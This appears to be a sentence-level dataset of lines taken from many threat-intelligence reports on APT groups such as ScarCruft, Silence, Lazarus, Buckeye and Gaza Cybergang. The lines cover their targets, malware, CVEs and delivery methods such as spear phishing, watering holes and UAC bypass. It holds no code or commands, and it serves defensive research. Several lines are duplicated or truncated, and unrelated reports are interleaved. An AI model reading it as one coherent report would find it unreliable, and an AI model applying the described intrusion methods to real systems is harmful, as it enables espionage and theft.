This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
These have been highly active in the Middle East region and unveiled ongoing targeted attacks in multiple regions .
The attackers try to lure targets through spear phishing emails that include compressed executables .
We found that the group behind this campaign targeted mainly industrial , engineering and manufacturing organizations in more than 30 countries .
Using the Kaspersky Security Network ( KSN ) and artifacts from malware files and attack sites , we were able to trace the attacks back to March 2015 .
Operation Ghoul is one of the many attacks in the wild targeting industrial , manufacturing and engineering organizations , Kaspersky Lab recommends users to be extra cautious while checking and opening emails and attachments .
The main point that sets Operation Groundbait apart from the other attacks is that it has mostly been targeting anti-government separatists in the self-declared Donetsk and Luhansk People's Republics .
The attacks appear to be geopolitically motivated and target high profile organizations .
The objective of the attacks is clearly espionage – they involve gaining access to top legislative , executive and judicial bodies around the world .
The attackers have targeted a large number of organizations globally since early 2017 , with the main focus on the Middle East and North Africa ( MENA ) , especially Palestine .
The attacks were initially discovered while investigating a phishing attack that targeted political figures in the MENA region .
Like BlackEnergy ( a.k.a Sandworm , Quedagh ) , Potao is an example of targeted espionage ( APT ) malware detected mostly in Ukraine and a number of other CIS countries , including Russia , Georgia and Belarus .
The main reason for the increase in Potao detections in 2014 and 2015 were infections through USB drives .
The first Potao campaign that we examined took place in August 2011 .
In March 2014 , the gang behind Potao started using a new infection vector .
Since March 2015 , ESET has detected Potao binaries at several high-value Ukrainian targets that include government and military entities and one of the major Ukrainian news agencies .
As confirmation that the malware writers are still very active even at the time of this writing , ESET detected a new Potao sample compiled on July 20 , 2015 .
In the previous pages we have presented our findings based on ESET detection telemetry and our analysis of Win32/Potao and Win32/FakeTC samples .
Potao is another example of targeted espionage malware , a so-called APT , to use the popular buzzword , although technically the malware is not particularly advanced or sophisticated .
Examples of notable Potao dissemination techniques , some of which were previously unseen , or at least relatively uncommon , include the use of highly-targeted spear-phishing SMS messages to drive potential victims to malware download sites and USB worm functionality that tricked the user into ' willingly ' executing the trojan .
The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates .
The PassCV group typically utilized publicly available RATs in addition to some custom code , which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae ( CVs ) .
he PassCV group typically utilized publicly available RATs in addition to some custom code , which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae ( CVs ) .
PassCV continues to maintain a heavy reliance on obfuscated and signed versions of older RATs like ZxShell and Ghost RAT , which have remained a favorite of the wider Chinese criminal community since their initial public release .
SPEAR identified recent PassCV samples which implemented another commercial off-the-shelf ( COTS ) RAT called Netwire .
SPEAR identified recent PassCV samples which implemented another commercial off-the-shelf ( COTS ) RAT called Netwire .
The first new connection SPEAR identified was derived from an email address listed in Blue Coat Systems' original report on PassCV .
Syncopate is a well-known Russian company that is best known as the developer and operator of the ' GameNet ' platform .
The PassCV group continues to be extremely effective in compromising both small and large game companies and surreptitiously using their code-signing certificates to infect an even larger swath of organizations .
Since the last report , PassCV has significantly expanded its targets to include victims in the United States , Taiwan , China and Russia .
Based on data collected from Palo Alto Networks AutoFocus threat intelligence , we discovered continued operations of activity very similar to the Roaming Tiger attack campaign that began in the August 2015 timeframe , with a concentration of attacks in late October and continuing into December .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
BBSRAT is typically packaged within a portable executable file , although in a few of the observed instances , a raw DLL was discovered to contain BBSRAT .
WildFire properly classifies BBSRAT malware samples as malicious .
This week we will discuss another Chinese nexus adversary we call Samurai Panda .
Samurai Panda is interesting in that their target selection tends to focus on Asia Pacific victims in Japan , the Republic of Korea , and other democratic Asian victims .
Next , in an effort to demonstrate it wasn't relegated to China , CrowdStrike exposed Clever Kitten , an actor we track out of Iran who leverages some very distinct TTPs when viewed next to a more visible adversary .
Next , in an effort to demonstrate it wasn't relegated to China , we exposed Clever Kitten , an actor we track out of Iran who leverages some very distinct TTPs when viewed next to a more visible adversary .
Beginning in 2009 , we've observed this actor conduct more than 40 unique campaigns that we've identified in the malware configurations' campaign codes .
These codes are often leveraged in the malware used by coordinated targeted attackers to differentiate victims that were successfully compromised from different target sets .
When conducting programmatic espionage activity , it can presumably become quite confusing if the attacker targets a heavy industry company , an avionics program , and seven other unique targets as to which infected host you will collect what information from .
These rules detect the malware " beaconing " to the command-and-control server , the initial malware check-in , and an attempt to download a backdoor module .
Earlier this month , Securelist 's technology caught another zero-day Adobe Flash Player exploit deployed in targeted attacks .
Securelist believe the attacks are launched by an APT Group we track under the codename " ScarCruft " .
ScarCruft is a relatively new APT group ; victims have been observed in Russia , Nepal , South Korea , China , India , Kuwait and Romania .
ScarCruft has several ongoing operations , utilizing multiple exploits — two for Adobe Flash and one for Microsoft Internet Explorer .
ScarCruft is a relatively new APT group ; victims have been observed in Russia , Nepal , South Korea , China , India , Kuwait and Romania .
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown ( 0-day ) Adobe Flash Player exploit .
Adobe Flash Player exploit .
It is also possible that ScarCruft deployed another zero day exploit , CVE-2016-0147 , which was patched in April .
Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
ScarCruft 's Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
Nevertheless , resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets .
After publishing our initial series of blogposts back in 2016 , Kaspersky have continued to track the ScarCruft threat actor .
After publishing our initial series of blogposts back in 2016 , we have continued to track the ScarCruft threat actor .
ScarCruft is a Korean-speaking and allegedly state-sponsored threat actor that usually targets organizations and companies with links to the Korean peninsula .
The ScarCruft group uses common malware delivery techniques such as spear phishing and Strategic Web Compromises ( SWC ) .
ScarCruft is a Korean-speaking and allegedly state-sponsored threat actor that usually targets organizations and companies with links to the Korean peninsula .
ScarCruft uses a multi-stage binary infection scheme .
One of the most notable functions of the initial dropper is to bypass Windows UAC ( User Account Control ) in order to execute the next payload with higher privileges .
This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .
Afterwards , the installer malware creates a downloader and a configuration file from its resource and executes it .
The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload .
The ScarCruft group keeps expanding its exfiltration targets to steal further information from infected hosts and continues to create tools for additional data exfiltration .
We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
We believe they may have some links to North Korea , which may explain why ScarCruft decided to closely monitor them .
ScarCruft also attacked a diplomatic agency in Hong Kong , and another diplomatic agency in North Korea .
It appears ScarCruft is primarily targeting intelligence for political and diplomatic purposes .
ScarCruft infected this victim on September 21 , 2018 .
But before the ScarCruft infection , however , another APT group also targeted this victim with the host being infected with GreezeBackdoor on March 26 , 2018 .
ScarCruft has a keen interest in North Korean affairs , attacking those in the business sector who may have any connection to North Korea , as well as diplomatic agencies around the globe .
Earlier this month , we caught another zero-day Adobe Flash Player exploit deployed in targeted attacks .
ScarCruft is a relatively new APT group ; victims have been observed in several countries , including Russia , Nepal , South Korea , China , India , Kuwait and Romania .
Currently , the group is engaged in two major operations : Operation Daybreak and Operation Erebus .
The other one , ScarCruft 's Operation Erebus employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The other one , " Operation Erebus " employs an older exploit , for CVE-2016-4117 and leverages watering holes .
We will publish more details about the attack once Adobe patches the vulnerability , which should be on June 16 .
The ScarCruft APT gang has made use of a Flash zero day patched Thursday by Adobe to attack more than two dozen high-profile targets in Russia and Asia primarily .
Adobe on Thursday patched a zero-day vulnerability in Flash Player that has been used in targeted attacks carried out by a new APT group operating primarily against high-profile victims in Russia and Asia .
Researchers at Kaspersky Lab privately disclosed the flaw to Adobe after exploits against the zero-day were used in March by the ScarCruft APT gang in what Kaspersky Lab is calling Operation Daybreak .
Kaspersky speculates that ScarCruft could also be behind another zero-day , CVE-2016-0147 , a vulnerability in Microsoft XML Core Services that was patched in April .
Attacks start with spear-phishing emails that include a link to a website hosting an exploit kit associated with ScarCruft and used in other attacks .
Another set of attacks called Operation Erebus leverages another Flash exploit , CVE-2016-4117 , and relies on watering hole attacks as a means of propagation .
Thursday 's Flash Player update patched 36 vulnerabilities in total including the zero day CVE-2016-4171 .
The ongoing operation likely began as early as January 2017 and has continued through the first quarter of 2019 .
Cisco Talos assess with high confidence that these operations are distinctly different and independent from the operations performed by DNSpionage , which we reported on in November 2018 .
We assess with high confidence that these operations are distinctly different and independent from the operations performed by DNSpionage , which we reported on in November 2018 .
The common use of the Enfal Trojan suggests that Shadow Network may be exchanging tools and techniques .
While Silence had previously targeted Russian banks , Group-IB experts also have discovered evidence of the group 's activity in more than 25 countries worldwide .
In August 2017 , the National Bank of Ukraine warned state-owned and private banks across the country about a large-scale phishing attack .
The threat actor used an exploit from the arsenal of the state-sponsored hacker group APT28 .
The new threat actor group was eventually named Silence .
Silence is a group of Russian-speaking hackers , based on their commands language , the location of infrastructure they used , and the geography of their targets ( Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan ) .
Although Silence 's phishing emails were also sent to bank employees in Central and Western Europe , Africa , and Asia ) .
Silence also used Russian-language web hosting services .
Financially motivated APT groups which focus efforts on targeted attacks on the financial sector such as — Anunak , Corkow , Buhtrap — usually managed botnets using developed or modified banking Trojans .
They tried new techniques to steal from banking systems , including AWS CBR ( the Russian Central Bank 's Automated Workstation Client ) , ATMs , and card processing .
Group-IB researchers were tracking Silence throughout this period and conducting response following incidents in the financial sector .
Group-IB detected the first incidents relating to Silence in June 2016 .
One of Silence 's first targets was a Russian bank , when they tried to attack AWS CBR .
They are selective in their attacks and wait for about three months between incidents , which is approximately three times longer than other financially motivated APT groups , like MoneyTaker , Anunak ( Carbanak ) , Buhtrap or Cobalt .
Silence try to apply new techniques and ways of stealing from various banking systems , including AWS CBR , ATMs , and card processing .
Silence 's successful attacks currently have been limited to the CIS and Eastern European countries .
He is responsible for developing tools for conducting attacks and is also able to modify complex exploits and third party software .
Silence 's main targets are located in Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .
However , some phishing emails were sent to bank employees in more than 25 countries of Central and Western Europe , Africa and Asia including : Kyrgyzstan , Armenia , Georgia , Serbia , Germany , Latvia , Czech Republic , Romania , Kenya , Israel , Cyprus , Greece , Turkey , Taiwan , Malaysia , Switzerland , Vietnam , Austria , Uzbekistan , Great Britain , Hong Kong , and others .
In the same year , they conducted DDoS attacks using the Perl IRC bot and public IRC chats to control Trojans .
In the same year , Silence conducted DDoS attacks using the Perl IRC bot and public IRC chats to control Trojans .
In two months , the group returned to their proven method and withdrew funds again through ATMs .
In September 2017 , we discovered a new targeted attack on financial institutions .
In September 2017 , we discovered Silence attack on financial institutions .
The infection vector is a spear-phishing email with a malicious attachment .
An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims .
The spear-phishing infection vector is still the most popular way to initiate targeted campaigns .
We conclude that the actor behind the attack is Silence group , a relatively new threat actor that's been operating since mid-2016 .
A preliminary analysis caught the attention of our Threat Analysis and Intelligence team as it yielded interesting data that , among other things , shows that Silence was targeting employees from financial entities , specifically in the Russian Federation and the Republic of Belarus .
As shown above , the threat runs several native binaries to collect useful information for its recon phase .
The intelligence we have collected shows that Silence is part of a more extensive operation , still focused on financial institutions operating mainly on Russian territory .
These spearphishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting .
Based on file modification dates and timestamps of samples , it appears that the observed campaign was initiated in the middle of February 2016 , with the infrastructure taken offline at the start of March .
While the Sima moniker could similarly originate from software labels , it is a common female Persian name and a Persian-language word for " visage " or " appearance " .
Given its use in more advanced social engineering campaigns against women 's rights activists , the label seem particularly apt .
Samples and resource names contained the family names of prominent Iranians , and several of these individuals received the malware located in their respective folder .
The Sima group also engaged in impersonation of Citizenship and Immigration Services at the Department of Homeland Security , posing as a notice about the expiration of the recipient 's Permanent Residence status .
In another case , Sima mirrored an announcement made about the broadcast of a television program on Iranian-American cultural affairs in order to impersonate the individual and engage in spearphishing within hours of the legitimate message .
The server used to host these malware samples was located on the German provider Hetzner ( 148.251.55.114 ) , within a small block of IP addresses that are registered with the customer ID " HOS-156205 " .
All the samples appear to be have been compiled between February 29 and March 1 2016 , shortly before our discovery , suggesting that , despite the known C&C servers having quickly gone offline shortly after , this spree of attacks might be fresh and currently undergoing .
These archives provide further indication that those entities behind the campaigns are Persian-language speakers , due to the naming of files and folders in Persian .
For the sake of narrative we are going to focus exclusively to those samples we identified being used in attacks against Iranian civil society and diaspora .
Butterfly has attacked multi-billion dollar companies operating in the internet , IT software , pharmaceutical , and commodities sectors .
The first signs of Butterfly 's activities emerged in early 2013 when several major technology and internet firms were compromised .
However , an investigation by Symantec has found that the group has been active since at least March 2012 and its attacks have not only continued to the present day , but have also increased in number .
Symantec has to date discovered 49 different organizations in more than 20 countries that have been attacked by Butterfly .
Aside from the four companies which have publicly acknowledged attacks , Symantec has identified five other large technology firms compromised by Butterfly , primarily headquartered in the US .
In the first attack , Butterfly gained a foothold by first attacking a small European office belonging to one firm and using this infection to then move on to its US office and European headquarters .
However , technology is not the only sector the group has focused on and Symantec has found evidence that Butterfly has attacked three major European pharmaceutical firms .
Butterfly has also shown an interest in the commodities sector , attacking two major companies involved in gold and oil in late 2014 .
The company specializes in finance and natural resources specific to that region .
The latter was one of at least three law firms Butterfly has targeted over the past three years .
In many attacks , the group has succeeded in compromising Microsoft Exchange or Lotus Domino email servers in order to intercept company emails and possibly use them to send counterfeit emails .
A powerful threat actor known as " Wild Neutron " ( also known as " Jripbot " and " Morpho " ) has been active since at least 2011 , infecting high profile companies for several years by using a combination of exploits , watering holes and multi-platform malware .
Based on the profile of the victims and the type of information targeted by the attackers , Symantec believes that Butterfly is financially motivated , stealing information it can potentially profit from .
Wild Neutron hit the spotlight in 2013 , when it successfully infected companies such as Apple , Facebook , Twitter and Microsoft .
Wild Neutron 's attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit .
During the 2013 attacks , the Wild Neutron actor successfully compromised and leveraged the website www.iphonedevsdk.com , which is an iPhone developers forum .
Wild Neutron 's attack took advantage of a Java zero-day exploit and used hacked forums as watering holes .
While the group used watering hole attacks in 2013 , it's still unclear how victims get redirected to the exploitation kits in the new 2014-2015 attacks .
Wild Neutron 's tools include a password harvesting trojan , a reverse-shell backdoor and customized implementations of OpenSSH , WMIC and SMB .
Instead of Flash exploits , older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013 , detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b .
The victims for the 2014-2015 versions are generally IT and real estate/investment companies and in both cases , a small number of computers have been infected throughout Wild Neutron .
Wild Neutron 's targeting of major IT companies , spyware developers ( FlexiSPY ) , jihadist forums ( the " Ansar Al-Mujahideen English Forum " ) and Bitcoin companies indicate a flexible yet unusual mindset and interests .
We continue to track the Wild Neutron group , which is still active as of June 2015 .
A ransomware variant dubbed PyLocky was observed in September 2018 being distributed by a phishing campaign using an invoicing theme .
PyLocky was found to be targeting entities in France and Germany .
Fxmsp specialize in breaching highly secure protected networks to access private corporate and government information .
Fxmsp is a hacking collective that has operated in various top-tier Russian- and English-speaking underground communities since 2017 .
Throughout 2017 and 2018 , Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground .
On April 24 , 2019 , Fxmsp claimed to have secured access to three leading antivirus companies .
According to the Fxmsp , they worked tirelessly for the first quarter of 2019 to breach these companies and finally succeeded and obtained access to the companies' internal networks .
Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the bodyFor example , Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2 This Bisonal variant used in the latest attack communicates with one of the following hard-coded C2 addresses by using the HTTP POST method on TCP port 443 .
Previous reports have discussed Bisonal malware used in attacks against Japan , South Korea and Russia .
This particular sample we found targeted an organization in Russia and there is a specific system language check for Cyrillic and no others .
If it's Cyrillic and the command to the shell is not ‘ipconfig’ , the threat converts the command result text encoding from Cyrillic to UTF-16 .
Similar to the Bisonal variant targeting the Russian organization , this sample was also disguised as PDF document .
The contents of the decoy PDF is a job descriptions with the South Korean Coast Guard .
The installed EXE file is almost exactly the same as the DLL version of Bisonal variant used against the Russian organization .
The targets are military or defense industry in particular countries ,it used DDNS for C2 servers , and tracked connections from their victims by using target or campaign codes ,as well as disguising the malware as document file , and using a dropper to install the malware and decoy file .
A previous campaign of this APT group was uncovered by Talos in June 2017 , and since then very little of this operation was seen in the wild .
ined in the archive is called DriverInstallerU.exe” but its metadata shows that its original name isInterenet Assistant.exe” .
After reviewing all the malware functionalities ,we are confident in saying that the attackers look for victims who answer well-defined characteristics and believe that further stages of the attack are delivered only to those who fit the specific victim profile .
In this sample , however , the module names were changed from actors and characters’ names to car models , namely BMW_x1” , BMW_x2” and up to BMW_x8” .
But , thanks to the attackers known affection for decoy documents that pose as news summaries ,we were able to date the campaign back to March 2018 .
With the experience gained from the APT attack that began in March 2017 , it seems this campaign has evolved into an attack with new capabilities , and an even more specific target , over a year later .
These unknown actors continued launching DDoS attacks over the next few years .
For simplicity , Kaspersky is calling them the BlackEnergy APT group .
Since the middle of 2015 ,one of the preferred attack vectors for BlackEnergy in Ukraine has been Excel documents with macros that drop the Trojan to disk if the user chooses to run the script in the document .
A very good analysis and overview of the BlackEnergy attacks in Ukraine throughout 2014 and 2015 was published by the Ukrainian security firm Cys Centrum the text is only available in Russian for now ,but can be read via Google Translate .
The earliest signs of destructive payloads with BlackEnergy go back as far as June 2014 .
BlackEnergy is a highly dynamic threat actor and the current attacks in Ukraine indicate that destructive actions are on their main agenda , in addition to compromising industrial control installations and espionage activities .
Kaspersky will continue to monitor the BlackEnergy attacks in Ukraine and update our readers with more data when available .
From Buhtrap perpetrating cybercrime for financial gain ,its toolset has been expanded with malware used to conduct espionage in Eastern Europe and Central Asia .
Throughout our tracking ,we've seen this group deploy its main backdoor as well as other tools against various victims , but June 2019 was the first time we saw the Buhtrap group use a zero-day exploit as part of a campaign .
In that case ,we observed Buhtrap using a local privilege escalation exploit , CVE-2019-1132 , against one of its victims .
However , as the shift in targets occurred before the source code leak ,we assess with high confidence that the same people behind the first Buhtrap malware attacks against businesses and banks are also involved in targeting governmental institutions .
When Buhtrap was targeting businesses , the decoy documents would typically be contracts or invoices .
The Buhtrap group is well known for its targeting of financial institutions and businesses in Russia .
Figure 2 is a typical example of a generic invoice the group used in a campaign in 2014 .
When the group's focus shifted to banks ,the decoy documents were related to banking system regulations or advisories from FinCERT ,an organization created by the Russian government to provide help and guidance to its financial institutions .
We confirmed that this is a DarkHydrus Group's new attack targeting Middle East region .
In July 2018 ,Palo Alto disclosed DarkHydrus Group which showed its special interest to governments in Middle East .
Prior to that report ,we published detail analysis on malware exploiting CVE-2018-8414 vulnerability (remote code execution in SettingContent-ms) ,which is believed a work of DarkHydrus .
the final payload is something that welivesecurity have never seen associated with Buhtrap .
It's coincident that both 'darkhydrus' APT group name and ‘Williams’ user name in PDB path found in this Twitter user .
In recent APT incidents ,Dark Hydruns tend to adopt Office VBA macro instead of Office 0day vulnerability in the consideration of cost reduction .
ASERT uncovered a credential theft campaign we call LUCKY ELEPHANT where attackers masquerade as legitimate entities such as foreign government , telecommunications , and military .
From at least February 2019 to present ,the actors in the LUCKY ELEPHANT campaign copied webpages to mimic South Asian government websites as well as Microsoft Outlook 365 login pages and hosted them on their own doppelganger domains ,presumably to trick victims into providing login credentials .
ASERT suspects that the Actors use phishing emails to lure victims to the doppelganger websites and entice users to enter their credentials .
It is important to note that one domain ,yahoomail[.]cf is only associated with this group from February 2019 onward .
In late 2018 ,the domain was associated with a different APT group / campaign of Chinese origin .
Based on our analysis into the activity ,ASERT deems with moderate confidence that an Indian APT group is behind the LUCKY ELEPHANT campaign .
The targets are typical of known Indian APT activity and the infrastructure was previously used by an Indian APT group .
DoNot Team has a history of heavily targeting Pakistan ,in addition to other neighboring countries .
The 360 Intelligence Center observed four distinct campaigns against Pakistan since 2017 (link) , recently targeting Pakistani businessmen working in China .
DoNot Team’s confirmed use of this IP dates back to September 2018 , with a six-month gap until it was used to host doppelganger domains for the LUCKY ELEPHANT campaign in early February .
One of the IP addresses , 128.127.105.13 , was previously used by the DoNot Team (aka APT-C-35) , a suspected Indian APT group .
The actors behind LUCKY ELEPHANT recognize the effectiveness and use doppelganger webpages nearly identical to legitimate sites ,enticing users to input their credentials .
The heavier targeting in Pakistan adheres to historical targeting and the ongoing tension between the two countries ,which has escalated since a terrorist attack in Kashmir on 14 February 2019 .
The targeting of Pakistan , Bangladesh , Sri Lanka , Maldives , Myanmar , Nepal , and the Shanghai Cooperation Organization are all historical espionage targets by India .
it is clear is that Donot are actively establishing infrastructure and are targeting governments in South Asia .
First attack of this campaign took place in May 2018 .
Arbor also published APT research on this group , and named it ‘Donot’ .
Donot attacked government agencies , aiming for classified intelligence .
We identified this APT group coded as ‘APT-C-35’ in 2017 ,who is mainly targeting Pakistan and other South Asian countries for cyber espionage .
At least 4 attack campaigns against Pakistan have been observed by us since 2017 .
Spear phishing emails with vulnerable Office documents or malicious macros are sent to victims .
In the latest attack ,Donot group is targeting Pakistani businessman working in China .
Two unique malware frameworks , EHDevel and yty , are developed by attackers .
wuaupdt.exe is a CMD backdoor ,which can receive and execute CMD commands sent from C2 .
it has similar code logic as previous ones wuaupdt.exe in this attack appears in previous Donot attack , and C2 addresses are same to previous ones .
From the attack activity captured this time ,it is obvious that Donot APT group is still keen on Pakistan as primary target of attack , and even expands scope of attack to include Pakistani staffs and institutions in China .
Buhtrap still make extensive use of NSIS installers as droppers and these are mainly delivered through malicious documents .
They first came to light in 2016 ,when they managed to steal sensitive information from the US Democratic National Committee (DNC) .
Earworm first came to light in 2016 ,when they managed to steal sensitive information from the US Democratic National Committee (DNC) .
They were also behind an attack on the World Anti-Doping Agency (WADA) ,in which they leaked confidential information about several drug tests .
SPLM , GAMEFISH , and Zebrocy delivery all maintain their own clusters , but frequently overlap later .
Our previous post on Sofacy's 2017 activity stepped away from the previously covered headline buzz presenting their association with previously known political hacks and interest in Europe and the US , and examines their under-reported ongoing activity in middle east , central asia , and now a shift in targeting further east , including China , along with an overlap surprise .
The larger ,300kb+ SPLM backdoors deployed in 2016 and 2017 are not observed any longer at targets in 2018 .
A previous ,report from another vendor claimed non-specific information about the groups' interest in Chinese universities , but that report has been removed – most likely detections were related to students’ and researchers’ scanning known collected samples and any incidents” remain unconfirmed and unknown .
Either way , the group's consistent activity throughout central and eastern asia seems to be poorly represented in the public discussion .
The actors behind this campaign we call LUCKY ELEPHANT use doppelganger webpages to mimic legitimate entities such as foreign governments , telecommunications , and military .
Sofacy targets large air-defense related commercial organizations in China with SPLM , and moves Zebrocy focus across Armenia , Turkey , Kazahkstan , Tajikistan ,Afghanistan , Mongolia , China , and Japan .
Either way ,Sofacy's consistent activity throughout central and eastern asia seems to be poorly represented in the public discussion .
According to this new alert ,Hidden Cobra the U.S government’s code name for Lazarus has been conducting FASTCash attacks stealing money from Automated Teller Machines (ATMs) from banks in Asia and Africa since at least 2016 .
Lazarus is a very active attack group involved in both cyber crime and espionage .
The group was initially known for its espionage operations and a number of high-profile disruptive attacks ,including the 2014 attack on Sony Pictures .
Following US-CERTs report ,Symantec's research uncovered the key component used in Lazarus's recent wave of financial attacks .
More recently ,Lazarus has also become involved in financially motivated attacks ,including an US$81 million dollar theft from the Bangladesh Central Bank and the WannaCry ransomware .
Other open source and semi-legitimate pen-testing tools like nbtscan and powercat are being used for mapping available resources and lateral movement as well .
To make the fraudulent withdrawals , Lazarus first breaches targeted banks' networks and compromises the switch application servers handling ATM transactions .
The operation , known as FASTCash” has enabled Lazarus to fraudulently empty ATMs of cash .
In order to permit their fraudulent withdrawals from ATMs , Lazarus inject a malicious Advanced Interactive eXecutive (AIX) executable into a running , legitimate process on the switch application server of a financial transaction network , in this case a network handling ATM transactions .
It was previously believed that the attackers used scripts to manipulate legitimate software on the server into enabling the fraudulent activity .
In recent years , Lazarus has also become involved in financially motivated attacks .
This malware in turn intercepts fraudulent Lazarus cash withdrawal requests and sends fake approval responses ,allowing the attackers to steal cash from ATMs .
Lazarus was linked to the $81 million theft from the Bangladesh central bank in 2016 , along with a number of other bank heists .
Lazarus was also linked to the WannaCry ransomware outbreak in May 2017 .
WannaCry incorporated the leaked EternalBlue exploit that used two known vulnerabilities in Windows CVE-2017-0144 and CVE-2017-0145 to turn the ransomware into a worm , capable of spreading itself to any unpatched computers on the victim's network and also to other vulnerable computers connected to the internet .
Lazarus was initially known for its involvement in espionage operations and a number of high-profile disruptive attacks , including the 2014 attack on Sony Pictures that saw large amounts of information being stolen and computers wiped by malware .
In short ,Lazarus continues to pose a serious threat to the financial sector and organizations should take all necessary steps to ensure that their payment systems are fully up to date and secured .
As with the 2016 series of virtual bank heists ,including the Bangladesh Bank heist ,FASTCash illustrates that Lazarus possesses an in-depth knowledge of banking systems and transaction processing protocols and has the expertise to leverage that knowledge in order to steal large sums from vulnerable banks .
The attack , which starts with a malicious attachment disguised as a top secret US document , weaponizes TeamViewer , the popular remote access and desktop sharing software ,to gain full control of the infected computer .
As described in the infection flow , one of the first uses of the AutoHotKey scripts is to upload a screenshot from the compromised PC .
It is hard to tell if there are geopolitical motives behind this campaign by looking solely at the list of countries it was targeting ,since it was not after a specific region and the victims came from different places in the world .
The initial infection vector used by the threat actor also changed over time , during 2018 we have seen multiple uses of self-extracting archives instead of malicious documents with AutoHotKey , which displayed a decoy image to the user .
The recent wave of FASTCash attacks demonstrates that financially motivated attacks are not simply a passing interest for the Lazarus group and can now be considered one of its core activities .
Although both examples of the different delivery methods described above show an exclusive targeting of Russian speakers , the recurring financial and political themes that they use highlight the attacker's interest in the financial world once more .
Throughout our investigation , we have found evidence that shows operational similarities between this implant and Gamaredon Group .
Gamaredon Group is an alleged Russian threat group .
Gamaredon Group has been active since at least 2013 , and has targeted individuals likely involved with the Ukrainian government .
EvilGnome's functionalities include desktop screenshots , file stealing , allowing capturing audio recording from the user’s microphone and the ability to download and execute further modules .
Gamaredon Group primarily makes use of Russian hosting providers in order to distribute its malware .
Gamaredon Group's implants are characterized by the employment of information stealing tools — among them being screenshot and document stealers delivered via a SFX , and made to achieve persistence through a scheduled task .
Gamaredon Group infects victims using malicious attachments , delivered via spear phishing techniques .
The techniques and modules employed by EvilGnome — that is the use of SFX ,persistence with task scheduler and the deployment of information stealing tools—remind us of Gamaredon Group’s Windows tools .
We can observe that the sample is very recent ,created on Thursday , July 4 .
As can be observed in the illustration above ,the makeself script is instructed to run ./setup.sh after unpacking .
The ShooterAudio module uses PulseAudio to capture audio from the user's microphone .
makeself.sh is a small shell script that generates a self-extractable compressed tar archive from a directory .
During our 2018 monitoring of this group , we were able to identify different techniques utilized by very similar attackers in the MENA region , sometimes on the same target .
Gaza Cybergang Group3 (highest sophistication) whose activities previously went by the name Operation Parliament .
Gaza Cybergang has been seen employing phishing , with several chained stages to evade detection and extend command and control server lifetimes .
The most popular targets of SneakyPastes are embassies , government entities , education , media outlets , journalists , activists , political parties or personnel , healthcare and banking .
Through our continuous monitoring of threats during 2018 , we observed a new wave of attacks by Gaza Cybergang Group1 targeting embassies and political personnel .
Gaza Cybergang Group1 is an attack group with limited infrastructure and an open-source type of toolset ,which conducts widespread attacks ,but is nevertheless focused on Palestinian political problems .
In this campaign ,Gaza Cybergang used disposable emails and domains as the phishing platform to target the victims .
The RAT , however , had a multitude of functionalities (as listed in the table below) such as to download and execute , compress , encrypt , upload , search directories , etc .
We expect the damage caused by these groups to intensify and the attacks to extend into other regions that are also linked to the complicated Palestinian situation .
Cylance determined that the ‘Ghost Dragon’ group utilized specifically tailored variants of Gh0st RAT ,which the group modified from the 3.6 version of the source code released in 2008 .
The standard network protocol for Gh0st RAT 3.6 employs zlib compression , which utilizes ‘Gh0st’ as a static five-byte packet flag that must be included in the first five bytes of initial transmission from the victim .
In a more recent version of the modified Gh0st RAT malware ,implemented dynamic packet flags which change the first five bytes of the header in every login request with the controller .
SPEAR has observed numerous different XOR keys utilized by Ghost Dragon .
Exploit and tools continued to be used after Buckeye's apparent disappearance in 2017 .
The Buckeye attack group was using Equation Group tools to gain persistent access to target organizations at least a year prior to the Shadow Brokers leak .
Buckeye's use of Equation Group tools also involved the exploit of a previously unknown Windows zero-day vulnerability .
While Buckeye appeared to cease operations in mid-2017 , the Equation Group tools it used continued to be used in attacks until late 2018 .
The 2017 leak of Equation Group tools by a mysterious group calling itself the Shadow Brokers was one of the most significant cyber security stories in recent years .
However , Symantec has now found evidence that the Buckeye cyber espionage group (aka APT3 , Gothic Panda ) began using Equation Group tools in attacks at least a year prior to the Shadow Brokers leak .
Equation is regarded as one of the most technically adept espionage groups and the release of a trove of its tools had a major impact , with many attackers rushing to deploy the malware and exploits disclosed .
DoublePulsar was delivered to victims using a custom exploit tool (Trojan.Bemstour) that was specifically designed to install DoublePulsar .
One vulnerability is a Windows zero-day vulnerability (CVE-2019-0703) discovered by Symantec .
Bemstour exploits two Windows vulnerabilities in order to achieve remote kernel code execution on targeted computers .
The second Windows vulnerability (CVE-2017-0143) was patched in March 2017 after it was discovered to have been used by two exploit tools—EternalRomance and EternalSynergy—that were also released as part of the ShadowIt was reported by Symantec to Microsoft in September 2018 and was patched on March 12 , 2019 .
How Buckeye obtained Equation Group tools at least a year prior to the Shadow Brokers leak remains unknown .
The Buckeye attack group had been active since at least 2009 , when it began mounting a string of espionage attacks , mainly against organizations based in the U.S .
These include CVE-2010-3962 as part of an attack campaign in 2010 and CVE-2014-1776 in 2014 .
